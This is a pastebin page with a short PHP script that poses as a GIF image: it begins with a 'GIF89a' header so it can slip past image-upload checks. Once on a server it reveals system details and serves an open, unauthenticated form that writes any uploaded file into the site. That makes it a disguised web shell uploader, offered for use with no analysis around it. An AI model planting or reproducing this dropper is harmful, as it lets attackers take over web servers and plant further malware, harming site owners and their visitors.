Re: GIF upload script

From Sloppy Hog, 4 Years ago, written in PHP, viewed 556 times. This paste is a reply to GIF upload script from RubberDuck - view diff
URL http://paste.security-portal.cz/view/f39159d9 Embed
Download Paste or View Raw
  1. GIF89a1
  2. <?php
  3. echo '<b>by x00x_BOT<br><br>'.php_uname().'<br></b>';
  4. echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  5. echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
  6. if($_POST['_upl'] == "Upload"){
  7. if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])){
  8. echo '<b>File Uploaded ^_^</b><br><br>';
  9. }else{
  10. echo '<b>Upload Fail !!!</b><br><br>';
  11. }
  12. }
  13. ?>

Reply to "Re: GIF upload script"

Here you can reply to the paste above